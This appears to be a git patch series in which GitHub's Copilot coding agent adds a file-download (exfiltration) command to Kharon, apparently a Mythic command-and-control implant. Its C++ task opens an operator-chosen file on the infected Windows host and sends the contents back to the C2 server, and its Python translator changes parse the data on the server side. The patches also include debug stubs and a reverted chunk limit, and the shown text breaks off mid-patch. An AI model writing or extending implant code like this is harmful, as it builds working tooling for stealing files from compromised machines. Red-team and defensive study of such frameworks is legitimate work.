From 87a4743d38cab1b1fb2514511eb09461c82382d5 Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Tue, 16 Sep 2025 12:38:31 +0000
Subject: [PATCH 01/12] Initial plan


From 7be934b53eb0158131857fc45b55ad620b93d22c Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Tue, 16 Sep 2025 12:48:55 +0000
Subject: [PATCH 02/12] Implement Task::Download function

Co-authored-by: pondzikk <142788369+pondzikk@users.noreply.github.com>
---
 .../kharon/Agent/Source/Misc/Tasks.cc         | 116 +++++++++++++++++-
 1 file changed, 115 insertions(+), 1 deletion(-)

diff --git a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
index 865015e..f43b6ad 100644
--- a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
+++ b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
@@ -142,7 +142,121 @@ auto DECLFN Task::ExecBof(
 auto DECLFN Task::Download(
     _In_ JOBS* Job
 ) -> ERROR_CODE {
-
+    PARSER*  Parser  = Job->Psr;
+    PACKAGE* Package = Job->Pkg;
+    
+    KhDbg("Download task started");
+    
+    // Get file path from parameters
+    PCHAR FilePath = Self->Psr->Str(Parser, 0);
+    if (!FilePath) {
+        CHAR* ErrorMsg = "No file path provided";
+        KhDbg("%s", ErrorMsg);
+        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
+        return KhRetSuccess;
+    }
+    
+    KhDbg("Download file: %s", FilePath);
+    
+    // Open file for reading
+    HANDLE FileHandle = Self->Krnl32.CreateFileA(
+        FilePath, 
+        GENERIC_READ, 
+        FILE_SHARE_READ, 
+        0, 
+        OPEN_EXISTING, 
+        FILE_ATTRIBUTE_NORMAL, 
+        0
+    );
+    
+    if (FileHandle == INVALID_HANDLE_VALUE) {
+        CHAR* ErrorMsg = "Failed to open file for download";
+        KhDbg("%s: %s (Error: %d)", ErrorMsg, FilePath, KhGetError);
+        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
+        return KhRetSuccess;
+    }
+    
+    // Get file size
+    ULONG FileSize = Self->Krnl32.GetFileSize(FileHandle, 0);
+    if (FileSize == INVALID_FILE_SIZE) {
+        CHAR* ErrorMsg = "Failed to get file size";
+        KhDbg("%s: %s", ErrorMsg, FilePath);
+        Self->Ntdll.NtClose(FileHandle);
+        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
+        return KhRetSuccess;
+    }
+    
+    KhDbg("File size: %d bytes", FileSize);
+    
+    // Extract filename from path for file ID
+    PCHAR FileName = FilePath;
+    PCHAR LastSlash = nullptr;
+    for (PCHAR p = FilePath; *p; p++) {
+        if (*p == '\\' || *p == '/') {
+            LastSlash = p + 1;
+        }
+    }
+    if (LastSlash) FileName = LastSlash;
+    
+    // Allocate buffer for entire file
+    BYTE* FileBuffer = (BYTE*)hAlloc(FileSize);
+    if (!FileBuffer && FileSize > 0) {
+        CHAR* ErrorMsg = "Failed to allocate file buffer";
+        KhDbg("%s", ErrorMsg);
+        Self->Ntdll.NtClose(FileHandle);
+        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
+        return KhRetSuccess;
+    }
+    
+    // Read entire file
+    ULONG BytesRead = 0;
+    BOOL ReadResult = TRUE;
+    if (FileSize > 0) {
+        ReadResult = Self->Krnl32.ReadFile(
+            FileHandle,
+            FileBuffer,
+            FileSize,
+            &BytesRead,
+            0
+        );
+    }
+    
+    Self->Ntdll.NtClose(FileHandle);
+    
+    if (!ReadResult || BytesRead != FileSize) {
+        CHAR* ErrorMsg = "Failed to read file";
+        KhDbg("%s: %s", ErrorMsg, FilePath);
+        if (FileBuffer) hFree(FileBuffer);
+        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
+        return KhRetSuccess;
+    }
+    
+    // Create simple file ID using just the filename
+    CHAR FileID[64];
+    PCHAR FileIdPtr = FileID;
+    PCHAR src = FileName;
+    INT nameLen = 0;
+    while (*src && nameLen < 50) {
+        *FileIdPtr++ = *src++;
+        nameLen++;
+    }
+    *FileIdPtr = '\0';
+    
+    // Send response in expected format:
+    // current_chunk (Int32), file_id (String), file_path (String), chunk_size (Int32), file_data (bytes)
+    Self->Pkg->Int32(Package, 1);            // chunk number (always 1 for complete file)
+    Self->Pkg->Str(Package, FileID);         // file identifier
+    Self->Pkg->Str(Package, FilePath);       // full file path
+    Self->Pkg->Int32(Package, FileSize);     // data size
+    
+    // Send file data
+    if (FileSize > 0) {
+        Self->Pkg->Bytes(Package, FileBuffer, FileSize);
+        hFree(FileBuffer);
+    }
+    
+    KhDbg("Download completed successfully: %d bytes", FileSize);
+    return KhRetSuccess;
 }
 
 auto DECLFN Task::Upload(_In_ JOBS* Job) -> ERROR_CODE {

From 7ed6312e55827dece055ae1286696494a81a78fd Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Tue, 16 Sep 2025 12:55:43 +0000
Subject: [PATCH 03/12] Complete download implementation with proper error
 handling

Co-authored-by: pondzikk <142788369+pondzikk@users.noreply.github.com>
---
 Payload_Type/kharon/Mythic/Kharon/AgentFunctions/download.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/Payload_Type/kharon/Mythic/Kharon/AgentFunctions/download.py b/Payload_Type/kharon/Mythic/Kharon/AgentFunctions/download.py
index bc70732..59862a7 100644
--- a/Payload_Type/kharon/Mythic/Kharon/AgentFunctions/download.py
+++ b/Payload_Type/kharon/Mythic/Kharon/AgentFunctions/download.py
@@ -93,4 +93,6 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat
 
     async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
         resp = PTTaskProcessResponseMessageResponse( TaskID = task.Task.ID, Success = True )
+        # The download data is handled by the translator ToC2.py, which returns a "download" object
+        # The Mythic framework automatically processes this and creates the downloaded file
         return resp

From d0101f912bcf950b470cfc52e2b1b35ad6dbce79 Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Tue, 16 Sep 2025 13:05:48 +0000
Subject: [PATCH 04/12] Add debug version of Download function to test basic
 functionality

Co-authored-by: pondzikk <142788369+pondzikk@users.noreply.github.com>
---
 .../kharon/Agent/Source/Misc/Tasks.cc         | 115 ++----------------
 1 file changed, 7 insertions(+), 108 deletions(-)

diff --git a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
index f43b6ad..5c11919 100644
--- a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
+++ b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
@@ -147,115 +147,14 @@ auto DECLFN Task::Download(
     
     KhDbg("Download task started");
     
-    // Get file path from parameters
-    PCHAR FilePath = Self->Psr->Str(Parser, 0);
-    if (!FilePath) {
-        CHAR* ErrorMsg = "No file path provided";
-        KhDbg("%s", ErrorMsg);
-        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
-        return KhRetSuccess;
-    }
-    
-    KhDbg("Download file: %s", FilePath);
-    
-    // Open file for reading
-    HANDLE FileHandle = Self->Krnl32.CreateFileA(
-        FilePath, 
-        GENERIC_READ, 
-        FILE_SHARE_READ, 
-        0, 
-        OPEN_EXISTING, 
-        FILE_ATTRIBUTE_NORMAL, 
-        0
-    );
-    
-    if (FileHandle == INVALID_HANDLE_VALUE) {
-        CHAR* ErrorMsg = "Failed to open file for download";
-        KhDbg("%s: %s (Error: %d)", ErrorMsg, FilePath, KhGetError);
-        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
-        return KhRetSuccess;
-    }
-    
-    // Get file size
-    ULONG FileSize = Self->Krnl32.GetFileSize(FileHandle, 0);
-    if (FileSize == INVALID_FILE_SIZE) {
-        CHAR* ErrorMsg = "Failed to get file size";
-        KhDbg("%s: %s", ErrorMsg, FilePath);
-        Self->Ntdll.NtClose(FileHandle);
-        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
-        return KhRetSuccess;
-    }
-    
-    KhDbg("File size: %d bytes", FileSize);
-    
-    // Extract filename from path for file ID
-    PCHAR FileName = FilePath;
-    PCHAR LastSlash = nullptr;
-    for (PCHAR p = FilePath; *p; p++) {
-        if (*p == '\\' || *p == '/') {
-            LastSlash = p + 1;
-        }
-    }
-    if (LastSlash) FileName = LastSlash;
-    
-    // Allocate buffer for entire file
-    BYTE* FileBuffer = (BYTE*)hAlloc(FileSize);
-    if (!FileBuffer && FileSize > 0) {
-        CHAR* ErrorMsg = "Failed to allocate file buffer";
-        KhDbg("%s", ErrorMsg);
-        Self->Ntdll.NtClose(FileHandle);
-        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
-        return KhRetSuccess;
-    }
-    
-    // Read entire file
-    ULONG BytesRead = 0;
-    BOOL ReadResult = TRUE;
-    if (FileSize > 0) {
-        ReadResult = Self->Krnl32.ReadFile(
-            FileHandle,
-            FileBuffer,
-            FileSize,
-            &BytesRead,
-            0
-        );
-    }
-    
-    Self->Ntdll.NtClose(FileHandle);
-    
-    if (!ReadResult || BytesRead != FileSize) {
-        CHAR* ErrorMsg = "Failed to read file";
-        KhDbg("%s: %s", ErrorMsg, FilePath);
-        if (FileBuffer) hFree(FileBuffer);
-        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
-        return KhRetSuccess;
-    }
-    
-    // Create simple file ID using just the filename
-    CHAR FileID[64];
-    PCHAR FileIdPtr = FileID;
-    PCHAR src = FileName;
-    INT nameLen = 0;
-    while (*src && nameLen < 50) {
-        *FileIdPtr++ = *src++;
-        nameLen++;
-    }
-    *FileIdPtr = '\0';
-    
-    // Send response in expected format:
-    // current_chunk (Int32), file_id (String), file_path (String), chunk_size (Int32), file_data (bytes)
-    Self->Pkg->Int32(Package, 1);            // chunk number (always 1 for complete file)
-    Self->Pkg->Str(Package, FileID);         // file identifier
-    Self->Pkg->Str(Package, FilePath);       // full file path
-    Self->Pkg->Int32(Package, FileSize);     // data size
-    
-    // Send file data
-    if (FileSize > 0) {
-        Self->Pkg->Bytes(Package, FileBuffer, FileSize);
-        hFree(FileBuffer);
-    }
+    // DEBUG: Send immediate test response to verify function is called
+    Self->Pkg->Int32(Package, 1);            // chunk number
+    Self->Pkg->Str(Package, "test.txt");     // file ID
+    Self->Pkg->Str(Package, "C:\\test.txt"); // file path  
+    Self->Pkg->Int32(Package, 5);            // data size
+    Self->Pkg->Bytes(Package, (BYTE*)"hello", 5); // test data
     
-    KhDbg("Download completed successfully: %d bytes", FileSize);
+    KhDbg("Download test response sent");
     return KhRetSuccess;
 }
 

From 4011a8a2ff262b742e8113a301feb392224e6ab2 Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Tue, 16 Sep 2025 13:09:10 +0000
Subject: [PATCH 05/12] Fix download parsing - use Bytes() instead of All() for
 file data

Co-authored-by: pondzikk <142788369+pondzikk@users.noreply.github.com>
---
 .../kharon/Agent/Source/Misc/Tasks.cc         | 115 ++++++++++++++++--
 Payload_Type/kharon/Mythic/Translator/ToC2.py |   2 +-
 2 files changed, 109 insertions(+), 8 deletions(-)

diff --git a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
index 5c11919..f43b6ad 100644
--- a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
+++ b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
@@ -147,14 +147,115 @@ auto DECLFN Task::Download(
     
     KhDbg("Download task started");
     
-    // DEBUG: Send immediate test response to verify function is called
-    Self->Pkg->Int32(Package, 1);            // chunk number
-    Self->Pkg->Str(Package, "test.txt");     // file ID
-    Self->Pkg->Str(Package, "C:\\test.txt"); // file path  
-    Self->Pkg->Int32(Package, 5);            // data size
-    Self->Pkg->Bytes(Package, (BYTE*)"hello", 5); // test data
+    // Get file path from parameters
+    PCHAR FilePath = Self->Psr->Str(Parser, 0);
+    if (!FilePath) {
+        CHAR* ErrorMsg = "No file path provided";
+        KhDbg("%s", ErrorMsg);
+        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
+        return KhRetSuccess;
+    }
+    
+    KhDbg("Download file: %s", FilePath);
+    
+    // Open file for reading
+    HANDLE FileHandle = Self->Krnl32.CreateFileA(
+        FilePath, 
+        GENERIC_READ, 
+        FILE_SHARE_READ, 
+        0, 
+        OPEN_EXISTING, 
+        FILE_ATTRIBUTE_NORMAL, 
+        0
+    );
+    
+    if (FileHandle == INVALID_HANDLE_VALUE) {
+        CHAR* ErrorMsg = "Failed to open file for download";
+        KhDbg("%s: %s (Error: %d)", ErrorMsg, FilePath, KhGetError);
+        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
+        return KhRetSuccess;
+    }
+    
+    // Get file size
+    ULONG FileSize = Self->Krnl32.GetFileSize(FileHandle, 0);
+    if (FileSize == INVALID_FILE_SIZE) {
+        CHAR* ErrorMsg = "Failed to get file size";
+        KhDbg("%s: %s", ErrorMsg, FilePath);
+        Self->Ntdll.NtClose(FileHandle);
+        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
+        return KhRetSuccess;
+    }
+    
+    KhDbg("File size: %d bytes", FileSize);
+    
+    // Extract filename from path for file ID
+    PCHAR FileName = FilePath;
+    PCHAR LastSlash = nullptr;
+    for (PCHAR p = FilePath; *p; p++) {
+        if (*p == '\\' || *p == '/') {
+            LastSlash = p + 1;
+        }
+    }
+    if (LastSlash) FileName = LastSlash;
+    
+    // Allocate buffer for entire file
+    BYTE* FileBuffer = (BYTE*)hAlloc(FileSize);
+    if (!FileBuffer && FileSize > 0) {
+        CHAR* ErrorMsg = "Failed to allocate file buffer";
+        KhDbg("%s", ErrorMsg);
+        Self->Ntdll.NtClose(FileHandle);
+        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
+        return KhRetSuccess;
+    }
+    
+    // Read entire file
+    ULONG BytesRead = 0;
+    BOOL ReadResult = TRUE;
+    if (FileSize > 0) {
+        ReadResult = Self->Krnl32.ReadFile(
+            FileHandle,
+            FileBuffer,
+            FileSize,
+            &BytesRead,
+            0
+        );
+    }
+    
+    Self->Ntdll.NtClose(FileHandle);
+    
+    if (!ReadResult || BytesRead != FileSize) {
+        CHAR* ErrorMsg = "Failed to read file";
+        KhDbg("%s: %s", ErrorMsg, FilePath);
+        if (FileBuffer) hFree(FileBuffer);
+        Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
+        return KhRetSuccess;
+    }
+    
+    // Create simple file ID using just the filename
+    CHAR FileID[64];
+    PCHAR FileIdPtr = FileID;
+    PCHAR src = FileName;
+    INT nameLen = 0;
+    while (*src && nameLen < 50) {
+        *FileIdPtr++ = *src++;
+        nameLen++;
+    }
+    *FileIdPtr = '\0';
+    
+    // Send response in expected format:
+    // current_chunk (Int32), file_id (String), file_path (String), chunk_size (Int32), file_data (bytes)
+    Self->Pkg->Int32(Package, 1);            // chunk number (always 1 for complete file)
+    Self->Pkg->Str(Package, FileID);         // file identifier
+    Self->Pkg->Str(Package, FilePath);       // full file path
+    Self->Pkg->Int32(Package, FileSize);     // data size
+    
+    // Send file data
+    if (FileSize > 0) {
+        Self->Pkg->Bytes(Package, FileBuffer, FileSize);
+        hFree(FileBuffer);
+    }
     
-    KhDbg("Download test response sent");
+    KhDbg("Download completed successfully: %d bytes", FileSize);
     return KhRetSuccess;
 }
 
diff --git a/Payload_Type/kharon/Mythic/Translator/ToC2.py b/Payload_Type/kharon/Mythic/Translator/ToC2.py
index 7141948..8bdcd4c 100644
--- a/Payload_Type/kharon/Mythic/Translator/ToC2.py
+++ b/Payload_Type/kharon/Mythic/Translator/ToC2.py
@@ -402,7 +402,7 @@ def process_normal_task(TaskUUID, CommandID, TaskPsr:Parser):
             file_id = TaskPsr.Str()
             file_path = TaskPsr.Str()
             chunk_size = TaskPsr.Int32()
-            file_data = TaskPsr.All()  # Get remaining bytes as file content
+            file_data = TaskPsr.Bytes()  # Use Bytes() instead of All() to handle length prefix
             
             return {
                 "task_id": TaskUUID, 

From 59d499b79163287bd3b8ddd9525e60d051564a7f Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Tue, 16 Sep 2025 13:28:49 +0000
Subject: [PATCH 06/12] Limit download chunk size to prevent large response
 issues

Co-authored-by: pondzikk <142788369+pondzikk@users.noreply.github.com>
---
 .../kharon/Agent/Source/Misc/Tasks.cc         | 38 ++++++++++++-------
 1 file changed, 25 insertions(+), 13 deletions(-)

diff --git a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
index f43b6ad..5a7c183 100644
--- a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
+++ b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
@@ -188,6 +188,18 @@ auto DECLFN Task::Download(
     
     KhDbg("File size: %d bytes", FileSize);
     
+    // Calculate actual chunk size to send (limited by KH_CHUNK_SIZE)
+    ULONG ChunkSize = (FileSize > KH_CHUNK_SIZE) ? KH_CHUNK_SIZE : FileSize;
+    ULONG TotalChunks = (FileSize + KH_CHUNK_SIZE - 1) / KH_CHUNK_SIZE;
+    
+    KhDbg("Sending first chunk: %d bytes of %d total bytes (%d chunks total)", ChunkSize, FileSize, TotalChunks);
+    
+    // For now, only send the first chunk. This prevents large response issues
+    // TODO: Implement proper multi-chunk download like upload
+    if (FileSize > KH_CHUNK_SIZE) {
+        KhDbg("WARNING: File larger than chunk size. Only sending first %d bytes.", KH_CHUNK_SIZE);
+    }
+    
     // Extract filename from path for file ID
     PCHAR FileName = FilePath;
     PCHAR LastSlash = nullptr;
@@ -198,9 +210,9 @@ auto DECLFN Task::Download(
     }
     if (LastSlash) FileName = LastSlash;
     
-    // Allocate buffer for entire file
-    BYTE* FileBuffer = (BYTE*)hAlloc(FileSize);
-    if (!FileBuffer && FileSize > 0) {
+    // Allocate buffer for the chunk we'll send
+    BYTE* FileBuffer = (BYTE*)hAlloc(ChunkSize);
+    if (!FileBuffer && ChunkSize > 0) {
         CHAR* ErrorMsg = "Failed to allocate file buffer";
         KhDbg("%s", ErrorMsg);
         Self->Ntdll.NtClose(FileHandle);
@@ -208,14 +220,14 @@ auto DECLFN Task::Download(
         return KhRetSuccess;
     }
     
-    // Read entire file
+    // Read the chunk (first part of file)
     ULONG BytesRead = 0;
     BOOL ReadResult = TRUE;
-    if (FileSize > 0) {
+    if (ChunkSize > 0) {
         ReadResult = Self->Krnl32.ReadFile(
             FileHandle,
             FileBuffer,
-            FileSize,
+            ChunkSize,
             &BytesRead,
             0
         );
@@ -223,8 +235,8 @@ auto DECLFN Task::Download(
     
     Self->Ntdll.NtClose(FileHandle);
     
-    if (!ReadResult || BytesRead != FileSize) {
-        CHAR* ErrorMsg = "Failed to read file";
+    if (!ReadResult || BytesRead != ChunkSize) {
+        CHAR* ErrorMsg = "Failed to read file chunk";
         KhDbg("%s: %s", ErrorMsg, FilePath);
         if (FileBuffer) hFree(FileBuffer);
         Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
@@ -244,18 +256,18 @@ auto DECLFN Task::Download(
     
     // Send response in expected format:
     // current_chunk (Int32), file_id (String), file_path (String), chunk_size (Int32), file_data (bytes)
-    Self->Pkg->Int32(Package, 1);            // chunk number (always 1 for complete file)
+    Self->Pkg->Int32(Package, 1);            // chunk number (always 1 for first chunk)
     Self->Pkg->Str(Package, FileID);         // file identifier
     Self->Pkg->Str(Package, FilePath);       // full file path
-    Self->Pkg->Int32(Package, FileSize);     // data size
+    Self->Pkg->Int32(Package, BytesRead);    // actual bytes read (chunk size)
     
     // Send file data
-    if (FileSize > 0) {
-        Self->Pkg->Bytes(Package, FileBuffer, FileSize);
+    if (BytesRead > 0) {
+        Self->Pkg->Bytes(Package, FileBuffer, BytesRead);
         hFree(FileBuffer);
     }
     
-    KhDbg("Download completed successfully: %d bytes", FileSize);
+    KhDbg("Download completed successfully: %d bytes sent (%d total file size)", BytesRead, FileSize);
     return KhRetSuccess;
 }
 

From c1a635675082bc9779b46e32694aa81bcb1ab2e1 Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Tue, 16 Sep 2025 13:45:29 +0000
Subject: [PATCH 07/12] Revert chunk size limitation - send complete file per
 user feedback

Co-authored-by: pondzikk <142788369+pondzikk@users.noreply.github.com>
---
 .../kharon/Agent/Source/Misc/Tasks.cc         | 38 +++++++------------
 1 file changed, 13 insertions(+), 25 deletions(-)

diff --git a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
index 5a7c183..86becbf 100644
--- a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
+++ b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
@@ -188,18 +188,6 @@ auto DECLFN Task::Download(
     
     KhDbg("File size: %d bytes", FileSize);
     
-    // Calculate actual chunk size to send (limited by KH_CHUNK_SIZE)
-    ULONG ChunkSize = (FileSize > KH_CHUNK_SIZE) ? KH_CHUNK_SIZE : FileSize;
-    ULONG TotalChunks = (FileSize + KH_CHUNK_SIZE - 1) / KH_CHUNK_SIZE;
-    
-    KhDbg("Sending first chunk: %d bytes of %d total bytes (%d chunks total)", ChunkSize, FileSize, TotalChunks);
-    
-    // For now, only send the first chunk. This prevents large response issues
-    // TODO: Implement proper multi-chunk download like upload
-    if (FileSize > KH_CHUNK_SIZE) {
-        KhDbg("WARNING: File larger than chunk size. Only sending first %d bytes.", KH_CHUNK_SIZE);
-    }
-    
     // Extract filename from path for file ID
     PCHAR FileName = FilePath;
     PCHAR LastSlash = nullptr;
@@ -210,9 +198,9 @@ auto DECLFN Task::Download(
     }
     if (LastSlash) FileName = LastSlash;
     
-    // Allocate buffer for the chunk we'll send
-    BYTE* FileBuffer = (BYTE*)hAlloc(ChunkSize);
-    if (!FileBuffer && ChunkSize > 0) {
+    // Allocate buffer for entire file
+    BYTE* FileBuffer = (BYTE*)hAlloc(FileSize);
+    if (!FileBuffer && FileSize > 0) {
         CHAR* ErrorMsg = "Failed to allocate file buffer";
         KhDbg("%s", ErrorMsg);
         Self->Ntdll.NtClose(FileHandle);
@@ -220,14 +208,14 @@ auto DECLFN Task::Download(
         return KhRetSuccess;
     }
     
-    // Read the chunk (first part of file)
+    // Read entire file
     ULONG BytesRead = 0;
     BOOL ReadResult = TRUE;
-    if (ChunkSize > 0) {
+    if (FileSize > 0) {
         ReadResult = Self->Krnl32.ReadFile(
             FileHandle,
             FileBuffer,
-            ChunkSize,
+            FileSize,
             &BytesRead,
             0
         );
@@ -235,8 +223,8 @@ auto DECLFN Task::Download(
     
     Self->Ntdll.NtClose(FileHandle);
     
-    if (!ReadResult || BytesRead != ChunkSize) {
-        CHAR* ErrorMsg = "Failed to read file chunk";
+    if (!ReadResult || BytesRead != FileSize) {
+        CHAR* ErrorMsg = "Failed to read file";
         KhDbg("%s: %s", ErrorMsg, FilePath);
         if (FileBuffer) hFree(FileBuffer);
         Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
@@ -256,18 +244,18 @@ auto DECLFN Task::Download(
     
     // Send response in expected format:
     // current_chunk (Int32), file_id (String), file_path (String), chunk_size (Int32), file_data (bytes)
-    Self->Pkg->Int32(Package, 1);            // chunk number (always 1 for first chunk)
+    Self->Pkg->Int32(Package, 1);            // chunk number (always 1 for complete file)
     Self->Pkg->Str(Package, FileID);         // file identifier
     Self->Pkg->Str(Package, FilePath);       // full file path
-    Self->Pkg->Int32(Package, BytesRead);    // actual bytes read (chunk size)
+    Self->Pkg->Int32(Package, FileSize);     // complete file size
     
     // Send file data
-    if (BytesRead > 0) {
-        Self->Pkg->Bytes(Package, FileBuffer, BytesRead);
+    if (FileSize > 0) {
+        Self->Pkg->Bytes(Package, FileBuffer, FileSize);
         hFree(FileBuffer);
     }
     
-    KhDbg("Download completed successfully: %d bytes sent (%d total file size)", BytesRead, FileSize);
+    KhDbg("Download completed successfully: %d bytes", FileSize);
     return KhRetSuccess;
 }
 

From d2c947599546066d1fc7af7360422f0f32bcfa98 Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Tue, 16 Sep 2025 13:59:51 +0000
Subject: [PATCH 08/12] Add completed flag and debug logging to download
 response

Co-authored-by: pondzikk <142788369+pondzikk@users.noreply.github.com>
---
 Payload_Type/kharon/Mythic/Translator/ToC2.py | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/Payload_Type/kharon/Mythic/Translator/ToC2.py b/Payload_Type/kharon/Mythic/Translator/ToC2.py
index 8bdcd4c..57cd795 100644
--- a/Payload_Type/kharon/Mythic/Translator/ToC2.py
+++ b/Payload_Type/kharon/Mythic/Translator/ToC2.py
@@ -397,6 +397,7 @@ def process_delegates(TaskUUID, Message, Psr:Parser):
 def process_normal_task(TaskUUID, CommandID, TaskPsr:Parser):
     if   CommandID == T_DOWNLOAD:
         # Parse download response from agent
+        Dbg2(f"Processing download response for task {TaskUUID}")
         try:
             current_chunk = TaskPsr.Int32()
             file_id = TaskPsr.Str()
@@ -404,6 +405,8 @@ def process_normal_task(TaskUUID, CommandID, TaskPsr:Parser):
             chunk_size = TaskPsr.Int32()
             file_data = TaskPsr.Bytes()  # Use Bytes() instead of All() to handle length prefix
             
+            Dbg2(f"Download parsed: chunk={current_chunk}, file_id={file_id}, path={file_path}, size={chunk_size}, data_len={len(file_data) if file_data else 0}")
+            
             return {
                 "task_id": TaskUUID, 
                 "download": {
@@ -412,7 +415,8 @@ def process_normal_task(TaskUUID, CommandID, TaskPsr:Parser):
                     "chunk_num": current_chunk,
                     "full_path": file_path,
                     "data": file_data.hex() if file_data else ""
-                }
+                },
+                "completed": True
             }
         except Exception as e:
             Dbg2(f"Error parsing download response: {str(e)}")

From 4ad21857c4ae46978b434e303688394f4988b84c Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Tue, 16 Sep 2025 14:06:37 +0000
Subject: [PATCH 09/12] Add translator debugging to track response processing
 flow

Co-authored-by: pondzikk <142788369+pondzikk@users.noreply.github.com>
---
 Payload_Type/kharon/Mythic/Translator/ToC2.py       | 1 +
 Payload_Type/kharon/Mythic/Translator/Translator.py | 2 ++
 2 files changed, 3 insertions(+)

diff --git a/Payload_Type/kharon/Mythic/Translator/ToC2.py b/Payload_Type/kharon/Mythic/Translator/ToC2.py
index 57cd795..ae91351 100644
--- a/Payload_Type/kharon/Mythic/Translator/ToC2.py
+++ b/Payload_Type/kharon/Mythic/Translator/ToC2.py
@@ -273,6 +273,7 @@ def QuickMsg( Data ):
 
 def PostC2(Data):
     Dbg2("------------------------")
+    Dbg2(f"PostC2 called with {len(Data)} bytes of data")
     RespTsk = [] 
     RespSck = []
 
diff --git a/Payload_Type/kharon/Mythic/Translator/Translator.py b/Payload_Type/kharon/Mythic/Translator/Translator.py
index 2f18867..3783446 100644
--- a/Payload_Type/kharon/Mythic/Translator/Translator.py
+++ b/Payload_Type/kharon/Mythic/Translator/Translator.py
@@ -89,6 +89,7 @@ async def translate_from_c2_format( self, InputMsg: TrCustomMessageToMythicC2For
 
         # Dbg7( f"raw dec: {TextPlain}" )
         Dbg7( f"Action: {Action}" );
+        Dbg7( f"Expected post_response code: {Jobs['post_response']['hex_code']}" );
         Dbg7( f"Encrypt Key: {EncryptKey} [{len(EncryptKey)}]" );
 
         if Action == Jobs['checkin']['hex_code']:
@@ -104,6 +105,7 @@ async def translate_from_c2_format( self, InputMsg: TrCustomMessageToMythicC2For
             Response.Message = GetTaskingC2( ActionData );
         
         elif Action == Jobs['post_response']['hex_code']:
+            Dbg7(f"Calling PostC2 with {len(ActionData)} bytes")
             Response.Message = PostC2( ActionData );
         
         Dbg7( f"buffer length {len(Response.Message)}" );

From 3a254a7a742b34abb85a031826748bb7cb62d02b Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Tue, 16 Sep 2025 14:34:49 +0000
Subject: [PATCH 10/12] Enhance PostC2 debugging to track detailed parsing
 steps

Co-authored-by: pondzikk <142788369+pondzikk@users.noreply.github.com>
---
 Payload_Type/kharon/Mythic/Translator/ToC2.py | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/Payload_Type/kharon/Mythic/Translator/ToC2.py b/Payload_Type/kharon/Mythic/Translator/ToC2.py
index ae91351..369a026 100644
--- a/Payload_Type/kharon/Mythic/Translator/ToC2.py
+++ b/Payload_Type/kharon/Mythic/Translator/ToC2.py
@@ -281,15 +281,19 @@ def PostC2(Data):
 
     try:
         Psr = Parser(Data, len(Data))
+        Dbg2(f"Created parser with {len(Data)} bytes")
         Tasks = Psr.Int32()
         Dbg2(f"Task quantity: {Tasks}")
 
         Index = 0
         for Task in range(Tasks):
             Index += 1
+            Dbg2(f"Processing task {Index}/{Tasks}")
             try:
